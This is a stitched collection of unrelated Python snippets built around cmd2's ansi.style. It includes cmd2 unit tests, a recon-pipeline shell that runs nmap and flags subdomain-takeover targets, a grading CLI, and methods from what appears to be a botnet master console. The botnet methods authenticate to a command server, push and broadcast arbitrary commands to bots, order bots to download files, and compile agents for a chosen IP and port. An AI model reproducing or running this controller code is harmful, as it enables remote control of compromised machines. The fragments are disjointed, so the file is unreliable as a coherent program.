def database_attach(self, args):
""" Attach to the selected database """
locations = [str(x) for x in self.get_databases()] + ["create new database"]
location = self.select(locations)
if location == "create new database":
location = self.read_input(
style("new database name? (recommend something unique for this target)\n-> ", fg="bright_white")
)
new_location = str(Path(defaults.get("database-dir")) / location)
index = sorted([new_location] + locations[:-1]).index(new_location) + 1
self.db_mgr = DBManager(db_location=new_location)
self.poutput(style(f"[*] created database @ {new_location}", fg="bright_yellow"))
location = new_location
else:
index = locations.index(location) + 1
self.db_mgr = DBManager(db_location=location)
self.add_dynamic_parser_arguments()
self.poutput(
style(f"[+] attached to sqlite database @ {Path(location).expanduser().resolve()}", fg="bright_green")
)
self.prompt = f"[db-{index}] {DEFAULT_PROMPT}"
def _finalize_tool_action(self, tool: str, tool_dict: dict, return_values: List[int], action: ToolActions):
""" Internal helper to keep DRY
Args:
tool: tool on which the action has been performed
tool_dict: tools dictionary to save
return_values: accumulated return values of subprocess calls
action: ToolAction.INSTALL or ToolAction.UNINSTALL
"""
verb = ["install", "uninstall"][action.value]
if all(x == 0 for x in return_values):
# all return values in retvals are 0, i.e. all exec'd successfully; tool action has succeeded
self.poutput(style(f"[+] {tool} {verb}ed!", fg="bright_green"))
tool_dict[tool]["installed"] = True if action == ToolAction.INSTALL else False
else:
# unsuccessful tool action
tool_dict[tool]["installed"] = False if action == ToolAction.INSTALL else True
self.poutput(
style(
f"[!!] one (or more) of {tool}'s commands failed and may have not {verb}ed properly; check output from the offending command above...",
fg="bright_red",
bold=True,
)
)
def printlinks(msql, mp, listElements, bGroup, bFundamental):
dictTypesSymbols = dict(zip(md.listLinkTypes, md.listLinkTypesSymbols))
dictTypeColours = dict(zip(md.listElementTypes,
md.listElementTypesColours))
listLinks = ml.computeLinks(msql, listElements)
if (bGroup):
listLinks = ml.groupLinks(listLinks)
#print table header
t = PrettyTable(['Name', 'Source', 'Type', 'Destination'])
t.align = "l"
t.set_style(PLAIN_COLUMNS)
t.header = False
for linkinfo in listLinks:
link = msql.getLinkPerId(linkinfo.id)
if ((bFundamental == True) and (linkinfo.type == "fundamental")
or (bFundamental == False)):
startElement = msql.getElementPerId(linkinfo.start_element_id)
endElement = msql.getElementPerId(linkinfo.end_element_id)
t.add_row([
ansi.style(mp.getRelativePath(startElement[md.ELEMENT_PATH]),
fg=dictTypeColours[startElement[md.ELEMENT_TYPE]]),
dictTypesSymbols[link[md.LINK_TYPE]],
ansi.style(mp.getRelativePath(endElement[md.ELEMENT_PATH]),
fg=dictTypeColours[endElement[md.ELEMENT_TYPE]]),
linkinfo.name
])
if listLinks:
print(t)
def do_download(self, args):
# Error checking
my_file = pathlib.Path('../server/uploads/' + args.file)
if my_file.exists() is False:
output_error = ansi.style(
"[-] The file does not exist in <root>/server/uploads/ !",
fg='red',
bold=True)
self.poutput(output_error)
target_list = args.target.split(",")
# Order the bots to download file from the server
for target in target_list:
url = URL + '/bot/' + target + '/push'
masterkey = MASTERKEY
cmd = "download " + args.file + " " + args.destination
data = {'masterkey': masterkey, 'cmd': cmd}
res = requests.post(url, data=data, verify=False)
output_push = ansi.style("[+] Download file staged for: " + target,
fg='green',
bold=True)
self.poutput(output_push)
self.poutput(res.text)
def test_style_color_not_exist():
base_str = HELLO_WORLD
with pytest.raises(ValueError):
ansi.style(base_str, fg='fake', bg='green')
with pytest.raises(ValueError):
ansi.style(base_str, fg='blue', bg='fake')
def database_detach(self, args):
""" Detach from the currently attached database """
if self.db_mgr is None:
return self.poutput(style(f"[!] you are not connected to a database", fg="magenta"))
self.db_mgr.close()
self.poutput(style(f"[*] detached from sqlite database @ {self.db_mgr.location}", fg="bright_yellow"))
self.db_mgr = None
self.prompt = DEFAULT_PROMPT
def database_list(self, args):
""" List all known databases """
try:
next(self.get_databases())
except StopIteration:
return self.poutput(style(f"[-] There are no databases.", fg="bright_white"))
for i, location in enumerate(self.get_databases(), start=1):
self.poutput(style(f" {i}. {location}"))
def tools_list(self, args):
""" List status of pipeline tools """
for key, value in self._get_dict().items():
status = [
style(":Missing:", fg="bright_magenta"),
style("Installed", fg="bright_green")
]
self.poutput(
style(
f"[{status[value.get('installed')]}] - {value.get('path') or key}"
))
def _luigi_pretty_printer(self, stderr):
""" Helper to clean up the VERY verbose luigi log messages that are normally spewed to the terminal. """
output = stderr.readline()
if not output:
return
output = output.decode()
if "===== Luigi Execution Summary =====" in output:
# header that begins the summary of all luigi tasks that have executed/failed
self.async_alert("")
self.sentry = True
# block below used for printing status messages
if self.sentry:
# only set once the Luigi Execution Summary is seen
self.async_alert(style(output.strip(), fg="bright_blue"))
elif output.startswith("INFO: Informed") and output.strip().endswith(
"PENDING"):
# luigi Task has been queued for execution
words = output.split()
self.async_alert(
style(f"[-] {words[5].split('_')[0]} queued",
fg="bright_white"))
elif output.startswith("INFO: ") and "running" in output:
# luigi Task is currently running
words = output.split()
# output looks similar to , pid=3938074) running MasscanScan(
# want to grab the index of the luigi task running and use it to find the name of the scan (i.e. MassScan)
scantypeidx = words.index("running") + 1
scantype = words[scantypeidx].split("(", 1)[0]
self.async_alert(
style(f"[*] {scantype} running...", fg="bright_yellow"))
elif output.startswith("INFO: Informed") and output.strip().endswith(
"DONE"):
# luigi Task has completed
words = output.split()
self.async_alert(
style(f"[+] {words[5].split('_')[0]} complete!",
fg="bright_green"))
def do_login(self, args):
remoteserver = args.remote
username = args.username
password = args.password
# TODO: Update the URL to have custom port numbers as well
global URL
URL = 'https://' + remoteserver
auth_url = URL + '/auth'
output_status = ansi.style('[DEBUG] Logging in as master...',
fg='blue',
bold=True)
output_host = ansi.style('[DEBUG] ' + remoteserver,
fg='blue',
bold=True)
output_username = ansi.style('[DEBUG] ' + username,
fg='blue',
bold=True)
output_password = ansi.style('[DEBUG] ' + password,
fg='blue',
bold=True)
self.poutput(output_host)
self.poutput(output_username)
self.poutput(output_password)
# Send authentication request to /auth endpoint
data = {'username': username, 'password': password}
res = requests.post(auth_url, data, verify=False)
response_data = res.json()
# Authentication successful
if response_data['result'] == 'SUCCESS':
global MASTERKEY
MASTERKEY = response_data['masterkey']
output_success = ansi.style('[+] Successfully logged in.',
fg='green',
bold=True)
output_success = ansi.style('[+] Retrieved Master key = ' +
MASTERKEY,
fg='green',
bold=True)
self.poutput(output_success)
# Begin the refresh thread to automatically refresh botlist in server.
refreshing = threading.Thread(target=refresh)
refreshing.daemon = True
refreshing.start()
# Authentication failed
else:
output_failed_server = ansi.style(res.text, fg='red', bold=True)
output_failed = ansi.style('[-] Authentication have failed.',
fg='red',
bold=True)
self.poutput(output_failed_server)
self.poutput(output_failed)
def printelements(msql, listElements):
dictTypeColours = dict(zip(md.listElementTypes,
md.listElementTypesColours))
strLine = ""
for element in listElements:
listDescendants = msql.getSonsPerId(element[md.ELEMENT_ID])
if listDescendants: #if the element has descendants, plot a (+)
strLine += ansi.style(
'(+)' + element[md.ELEMENT_NAME],
fg=dictTypeColours[element[md.ELEMENT_TYPE]]) + "\t"
else:
strLine += ansi.style(
element[md.ELEMENT_NAME],
fg=dictTypeColours[element[md.ELEMENT_TYPE]]) + "\t"
print(strLine)
def do_broadcast(self, args):
url = URL + '/bot/broadcast'
masterkey = MASTERKEY
cmd = args.command
data = {'masterkey': MASTERKEY, 'cmd': cmd}
res = requests.post(url, data=data, verify=False)
response_data = res.json()
output_broadcast = ansi.style('[+] Broadcast command has been staged.')
if 'result' in response_data:
self.poutput(
ansi.style(response_data['result'], fg='green', bold=True))
def check_scan_directory(self, directory):
""" Determine whether or not the results-dir about to be used already exists and prompt the user accordingly.
Args:
directory: the directory passed to ``scan ... --results-dir``
"""
directory = Path(directory)
if directory.exists():
term_width = shutil.get_terminal_size((80, 20)).columns
warning_msg = (
f"[*] Your results-dir ({str(directory)}) already exists. Subfolders/files may tell "
f"the pipeline that the associated Task is complete. This means that your scan may start "
f"from a point you don't expect. Your options are as follows:")
for line in textwrap.wrap(warning_msg,
width=term_width,
subsequent_indent=" "):
self.poutput(style(line, fg="bright_yellow"))
option_one = (
"Resume existing scan (use any existing scan data & only attempt to scan what isn't already done)"
)
option_two = "Remove existing directory (scan starts from the beginning & all existing results are removed)"
option_three = "Save existing directory (your existing folder is renamed and your scan proceeds)"
answer = self.select([("Resume", option_one),
("Remove", option_two),
("Save", option_three)])
if answer == "Resume":
self.poutput(
style("[+] Resuming scan from last known good state.",
fg="bright_green"))
elif answer == "Remove":
shutil.rmtree(Path(directory))
self.poutput(
style("[+] Old directory removed, starting fresh scan.",
fg="bright_green"))
elif answer == "Save":
current = time.strftime("%Y%m%d-%H%M%S")
directory.rename(f"{directory}-{current}")
self.poutput(
style(
f"[+] Starting fresh scan. Old data saved as {directory}-{current}",
fg="bright_green"))
def test_style_multi():
base_str = HELLO_WORLD
fg_color = 'blue'
bg_color = 'green'
ansi_str = ansi.FG_COLORS[fg_color] + ansi.BG_COLORS[bg_color] + ansi.BRIGHT + ansi.UNDERLINE_ENABLE + \
base_str + ansi.FG_RESET + ansi.BG_RESET + ansi.NORMAL + ansi.UNDERLINE_DISABLE
assert ansi.style(base_str, fg=fg_color, bg=bg_color, bold=True, underline=True) == ansi_str
def do_push(self, args):
target_list = args.target.split(",")
# Push the command to multiple targets
for target in target_list:
#print("[DEBUG] target = ", target)
url = URL + '/bot/' + target + '/push'
masterkey = MASTERKEY
cmd = args.command
data = {'masterkey': masterkey, 'cmd': cmd}
res = requests.post(url, data=data, verify=False)
output_push = ansi.style("[+] Command staged for: " + target,
fg='green',
bold=True)
self.poutput(output_push)
self.poutput(res.text)
# If command staging was successful, check the result page after TIMER.
if 'result' in res.text:
pushThread = threading.Thread(target=checkPushResult,
args=(
URL,
MASTERKEY,
target,
cmd,
))
pushThread.daemon = True
pushThread.start()
def __init__(self):
super().__init__(use_ipython=True)
banner = r"""
__ __ _ _ _ _
\ \ / / | | | \ | | | |
\ V /__ _| |__ | \| | ___| |_
\ // _` | '_ \| . ` |/ _ \ __|
| | (_| | |_) | |\ | __/ |_
\_/\__,_|_.__/\_| \_/\___|\__|
___ ___ _ _____ _
| \/ | | | / __ \ | |
| . . | __ _ ___| |_ ___ _ __ | / \/ ___ _ __ ___ ___ | | ___
| |\/| |/ _` / __| __/ _ \ '__| | | / _ \| '_ \/ __|/ _ \| |/ _ \
| | | | (_| \__ \ || __/ | | \__/\ (_) | | | \__ \ (_) | | __/
\_| |_/\__,_|___/\__\___|_| \____/\___/|_| |_|___/\___/|_|\___|
"""
self.intro = ansi.style(banner, fg='red', bold=True)
# Allow access to your application in py and ipy via self
self.locals_in_py = True
# Set the default category name
self.default_category = 'cmd2 Built-in Commands'
# Should ANSI color output be allowed
self.allow_ansi = ansi.ANSI_TERMINAL
def __init__(self, args):
shortcuts = dict(cmd2.DEFAULT_SHORTCUTS)
# Run a quick script to get students with timed-out tests
timed_out_cmd = (f"grep 'Timed out' {args['assgn_dir']}/candidates/*/report.txt | " +
f"sed -n 's/.*candidates\/\([a-zA-Z0-9\.]*\).*/\\1/p' | uniq")
shortcuts.update({'timed-out': timed_out_cmd})
# cmd2 doesn't allow dashes by default, so just alias them
shortcuts.update({'upload-reports' : 'upload_reports'})
shortcuts.update({'upload-marks' : 'upload_marks'})
shortcuts.update({'delete-reports' : 'delete_reports'})
shortcuts.update({'set-status' : 'set_status'})
hist_file = os.path.join(CONFIG_DIR, "cli_history.dat")
super().__init__(
use_ipython=False,
shortcuts=shortcuts,
persistent_history_file=hist_file,
)
# Hide all built-in commands (still accessible)...
to_hide = ['edit', 'macro', 'py', 'shortcuts', 'set', 'q',
'run_pyscript', 'run_script', 'alias', 'help',
'shell', 'history', 'quit']
for cmd in to_hide:
self.hidden_commands.append(cmd)
self.args = args
self.console = REPLConsole()
self.marker = Marker(self.args, self.console)
self.prompt = ansi.style('marker > ', fg="blue")
self.default_to_shell = True
self.students_list = []
self.debug = True
self.update_students_list()
def test_wrap_long_word():
# Make sure words wider than column start on own line and wrap
column_1 = Column("LongColumnName", width=10)
column_2 = Column("Col 2", width=10)
columns = [column_1, column_2]
tc = TableCreator(columns)
# Test header row
header = tc.generate_row()
assert header == ('LongColumn \n'
'Name Col 2 ')
# Test data row
row_data = list()
# Long word should start on the first line (style should not affect width)
row_data.append(ansi.style("LongerThan10", fg=ansi.fg.green))
# Long word should start on the second line
row_data.append("Word LongerThan10")
row = tc.generate_row(row_data=row_data)
expected = (ansi.RESET_ALL + ansi.fg.green + "LongerThan" + ansi.RESET_ALL + " Word \n"
+ ansi.RESET_ALL + ansi.fg.green + "10" + ansi.fg.reset + ansi.RESET_ALL + ' ' + ansi.RESET_ALL + ' LongerThan\n'
' 10 ')
assert row == expected
def test_column_creation():
# No width specified, blank label
c = Column("")
assert c.width == 1
# No width specified, label isn't blank but has no width
c = Column(ansi.style('', fg=ansi.fg.green))
assert c.width == 1
# No width specified, label has width
c = Column("short\nreally long")
assert c.width == ansi.style_aware_wcswidth("really long")
# Width less than 1
with pytest.raises(ValueError) as excinfo:
Column("Column 1", width=0)
assert "Column width cannot be less than 1" in str(excinfo.value)
# Width specified
c = Column("header", width=20)
assert c.width == 20
# max_data_lines less than 1
with pytest.raises(ValueError) as excinfo:
Column("Column 1", max_data_lines=0)
assert "Max data lines cannot be less than 1" in str(excinfo.value)
def print_target_results(self, args):
""" Display all Targets from the database, ipv4/6 and hostname """
results = list()
printer = self.ppaged if args.paged else self.poutput
if args.type == "ipv4":
targets = self.db_mgr.get_all_ipv4_addresses()
elif args.type == "ipv6":
targets = self.db_mgr.get_all_ipv6_addresses()
elif args.type == "domain-name":
targets = self.db_mgr.get_all_hostnames()
else:
targets = self.db_mgr.get_all_targets()
for target in targets:
if args.vuln_to_subdomain_takeover:
tgt = self.db_mgr.get_or_create_target_by_ip_or_hostname(
target)
if not tgt.vuln_to_sub_takeover:
# skip targets that aren't vulnerable
continue
vulnstring = style("vulnerable", fg="green")
vulnstring = f"[{vulnstring}] {target}"
results.append(vulnstring)
else:
results.append(target)
if results:
printer("\n".join(results))
def _generate_colored_prompt(self) -> str:
"""Randomly generates a colored prompt
:return: the new prompt
"""
fg_color = random.choice(list(ansi.FG_COLORS.keys()))
bg_color = random.choice(list(ansi.BG_COLORS.keys()))
return ansi.style(
self.visible_prompt.rstrip(), fg=fg_color, bg=bg_color) + ' '
def do_cleanup(self, args):
try:
if URL is None:
self.poutput('URL is not set!')
except Exception as e:
output_loginfirst = ansi.style("\n\n!!! Login First !!!\n",
fg='red',
bg='blue',
bold=True)
self.poutput(output_loginfirst)
url = URL + '/bot/cleanup'
data = {'masterkey': MASTERKEY}
res = requests.post(url, data=data, verify=False)
output_cleanup = ansi.style(res.text, fg='green', bold=True)
self.poutput(output_cleanup)
def test_style_aware_wcswidth():
base_str = HELLO_WORLD
ansi_str = ansi.style(base_str, fg='green')
assert ansi.style_aware_wcswidth(HELLO_WORLD) == ansi.style_aware_wcswidth(
ansi_str)
assert ansi.style_aware_wcswidth('i have a tab\t') == -1
assert ansi.style_aware_wcswidth('i have a newline\n') == -1
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
if not which("nmap"):
raise RuntimeError(
style("[!] nmap is not installed", fg="bright_red"))
self.db_mgr = pipeline.models.db_manager.DBManager(
db_location=self.db_location)
self.results_subfolder = (Path(self.results_dir) /
"nmap-results").expanduser().resolve()
def printTreeLeaf(msql, element, strIndent, dictTypeColours):
listSons = msql.getSonsPerId(element[md.ELEMENT_ID])
print(
ansi.style(strIndent + '└── ' + element[md.ELEMENT_NAME],
fg=dictTypeColours[element[md.ELEMENT_TYPE]]))
strIndentSons = strIndent + " "
for elementSon in listSons:
printTreeLeaf(msql, elementSon, strIndentSons, dictTypeColours)
return
def do_generate(self, args):
self.poutput(
ansi.style('[+] Compiling golang agent file...',
fg='green',
bold=True))
ip = args.ip
port = args.port
windowsBool = args.windows
#print(freeze)
generator.goCompile(ip, port, windowsBool)
self.poutput(
ansi.style('[+] Generate command executed successfully.',
fg='green',
bold=True))
def database_delete(self, args):
""" Delete the selected database """
locations = [str(x) for x in self.get_databases()]
to_delete = self.select(locations)
index = locations.index(to_delete) + 1
Path(to_delete).unlink()
if f"[db-{index}]" in self.prompt:
self.poutput(style(f"[*] detached from sqlite database at {self.db_mgr.location}", fg="bright_yellow"))
self.prompt = DEFAULT_PROMPT
self.db_mgr.close()
self.db_mgr = None
self.poutput(
style(f"[+] deleted sqlite database @ {Path(to_delete).expanduser().resolve()}", fg="bright_green")
)
def test_widest_line():
text = ansi.style('i have\n3 lines\nThis is the longest one', fg='green')
assert ansi.widest_line(text) == ansi.style_aware_wcswidth(
"This is the longest one")
text = "I'm just one line"
assert ansi.widest_line(text) == ansi.style_aware_wcswidth(text)
assert ansi.widest_line('i have a tab\t') == -1
def _stylize_prompt(_prompt: str, fg: Fg = Fg.DARK_GRAY) -> str:
"""
Stylize a prompt with a foreground color.
:param _prompt: The prompt to stylize.
:param fg: The foreground color.
:return: A cmd2 ansi style.
:rtype: str
"""
return ansi.style(_prompt, fg=fg)
def main(
name,
old_tools_dir=Path().home() / ".recon-tools",
old_tools_dict=Path().home() / ".cache" / ".tool-dict.pkl",
old_searchsploit_rc=Path().home() / ".searchsploit_rc",
):
""" Functionified for testability """
if name == "__main__":
if old_tools_dir.exists() and old_tools_dir.is_dir():
# want to try and ensure a smooth transition for folks who have used the pipeline before from
# v0.8.4 and below to v0.9.0+
print(
style(
"[*] Found remnants of an older version of recon-pipeline.",
fg="bright_yellow"))
print(
style(
f"[*] It's {style('strongly', fg='red')} advised that you allow us to remove them.",
fg="bright_white",
))
print(
style(
f"[*] Do you want to remove {old_tools_dir}/*, {old_searchsploit_rc}, and {old_tools_dict}?",
fg="bright_white",
))
answer = cmd2.Cmd().select(["Yes", "No"])
print(style(f"[+] You chose {answer}", fg="bright_green"))
if answer == "Yes":
shutil.rmtree(old_tools_dir)
print(style(f"[+] {old_tools_dir} removed", fg="bright_green"))
if old_tools_dict.exists():
old_tools_dict.unlink()
print(
style(f"[+] {old_tools_dict} removed",
fg="bright_green"))
if old_searchsploit_rc.exists():
old_searchsploit_rc.unlink()
print(
style(f"[+] {old_searchsploit_rc} removed",
fg="bright_green"))
print(
style(
"[=] Please run the install all command to complete setup",
fg="bright_blue"))
rs = ReconShell(persistent_history_file="~/.reconshell_history",
persistent_history_length=10000)
sys.exit(rs.cmdloop())
